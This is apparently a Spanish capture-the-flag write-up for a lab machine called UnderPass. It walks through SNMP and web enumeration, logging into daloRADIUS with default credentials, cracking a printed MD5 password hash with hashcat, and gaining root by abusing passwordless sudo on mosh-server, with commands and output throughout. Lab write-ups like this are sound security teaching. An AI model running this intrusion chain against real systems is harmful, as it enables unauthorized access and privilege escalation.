Máquinas/CTF

Máquina resuelta


1. Realizamos escaneo tcp

Y obtenemos la siguiente salida:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 48:b0:d2:c7:29:26:ae:3d:fb:b7:6b:0f:f5:4d:2a:ea (ECDSA)
|_  256 cb:61:64:b8:1b:1b:b5:ba:b8:45:86:c5:16:bb:e2:a2 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 

2. Realizamos escaneo udp

Y obtenemos la siguiente salida:

PORT    STATE SERVICE VERSION
161/udp open  snmp    SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-info: 
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: c7ad5c4856d1cf6600000000
|   snmpEngineBoots: 31
|_  snmpEngineTime: 5h11m33s
| snmp-sysdescr: Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
|_  System uptime: 5h11m32.92s (1869292 timeticks)
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
Service Info: Host: UnDerPass.htb is the only daloradius server in the basin!

 

3. Enumeracion snmp:

Como vemos que tiene el servicio snmp expuesto, podemos realizar una enumeración mediante la herramienta snmpwalk:

# snmpwalk -c public -v1 10.10.11.48 .

Y obtenemos la siguiente salida:

iso.3.6.1.2.1.1.1.0 = STRING: "Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (1891344) 5:15:13.44
iso.3.6.1.2.1.1.4.0 = STRING: "steve@underpass.htb"
iso.3.6.1.2.1.1.5.0 = STRING: "UnDerPass.htb is the only daloradius server in the basin!"
iso.3.6.1.2.1.1.6.0 = STRING: "Nevada, U.S.A. but not Vegas"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (16) 0:00:00.16
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (16) 0:00:00.16
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (16) 0:00:00.16
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (16) 0:00:00.16
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (16) 0:00:00.16
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (16) 0:00:00.16
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (16) 0:00:00.16
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (16) 0:00:00.16
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (16) 0:00:00.16
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (16) 0:00:00.16
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (16) 0:00:00.16
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (1892636) 5:15:26.36
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 E9 02 12 09 10 1C 00 2B 00 00 
iso.3.6.1.2.1.25.1.3.0 = INTEGER: 393216
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/vmlinuz-5.15.0-126-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro net.ifnames=0 biosdevname=0
"
iso.3.6.1.2.1.25.1.5.0 = Gauge32: 0
iso.3.6.1.2.1.25.1.6.0 = Gauge32: 216
iso.3.6.1.2.1.25.1.7.0 = INTEGER: 0
End of MIB

Gracias a dicha salida, podemos ver que se trata de un servicio daloradius. Si buscamos en internet, vamos que existen varios endpoins comunes para este servicio, como son /daloradius o `/daloradius/app'. Para descubrir más endpoints lanzamos:

# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://underpass.htb/daloradius/ -t 200

Obteniendo como respuesta:

/doc                  (Status: 301) [Size: 323] [--> http://underpass.htb/daloradius/doc/]
/app                  (Status: 301) [Size: 323] [--> http://underpass.htb/daloradius/app/]
/contrib              (Status: 301) [Size: 327] [--> http://underpass.htb/daloradius/contrib/]
/ChangeLog            (Status: 200) [Size: 24703]
/setup                (Status: 301) [Size: 325] [--> http://underpass.htb/daloradius/setup/]
/library              (Status: 301) [Size: 327] [--> http://underpass.htb/daloradius/library/]
/LICENSE              (Status: 200) [Size: 18011]

Si profundizamos en la enumeración y miramos el directorio /app:

# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://underpass.htb/daloradius/app/ -t 200

Obtenemos:

/users                (Status: 301) [Size: 329] [--> http://underpass.htb/daloradius/app/users/]
/common               (Status: 301) [Size: 330] [--> http://underpass.htb/daloradius/app/common/]
/operators            (Status: 301) [Size: 333] [--> http://underpass.htb/daloradius/app/operators/]

 

5. Acceso al panel de Daloradius

Si nos dirigimos a http://underpass.htb/daloradius/app/operators nos redirige a http://underpass.htb/daloradius/app/operators/login.php. Ahí podemos ver un formulario de login, y si probamos a iniciar sesion con los credenciales por defecto de daloradius, observamos como tenemos acceso: administrator/radius.

Vemos el siguiente usuario con lo que parece un hash md5:

svcMosh - 412DD4759978ACFCC81DEAB01B382403

Lanzamos entonces hashcat para intentar crackearlo:

# hashcat -m 0 hashes /usr/share/wordlists/rockyou.txt

Obteniendo la siguiente salida:

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

412dd4759978acfcc81deab01b382403:underwaterfriends 

 

6. Acceso como usuario svcMosh

Accedemos con dicho usuario, y somos capaces de obtener la flag de usuario

 

7. Escalado de privilegios

Podemos ver si el usuario svcMosh tiene la capacidad para ejecutar algun comando como root:

# sudo -l 

Obteniendo la siguiente respuesta:

Matching Defaults entries for svcMosh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svcMosh may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/bin/mosh-server

Buscando en internet, vemos que se trata de un servidor parecido a ssh, por lo que si lanzamos una nueva instancia y nos podemos conectar a ella, accederemos como usuario root.

Para ello creamos un nuevo servicio lanzado como sudo:

# sudo mosh-server new -p 60002

Obteniendo como salida:

MOSH CONNECT 60002 Et8sx6AN+62bI1nQz0Ohzg

mosh-server (mosh 1.3.2) [build mosh 1.3.2]
Copyright 2012 Keith Winstein <mosh-devel@mit.edu>
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

[mosh-server detached, pid = 1998]

Nos conectamos entonces a dicho servicio, utilizando la misma clave listada en el comando anterior. Para ello tenemos que establecerla como variable global en nuestro equipo:

# MOSH_KEY=Et8sx6AN+62bI1nQz0Ohzg mosh-client 10.10.11.48 60002

Vemos entonces como somos capaces de acceder como usuario root, y por lo tanto obtenemos la flag de root.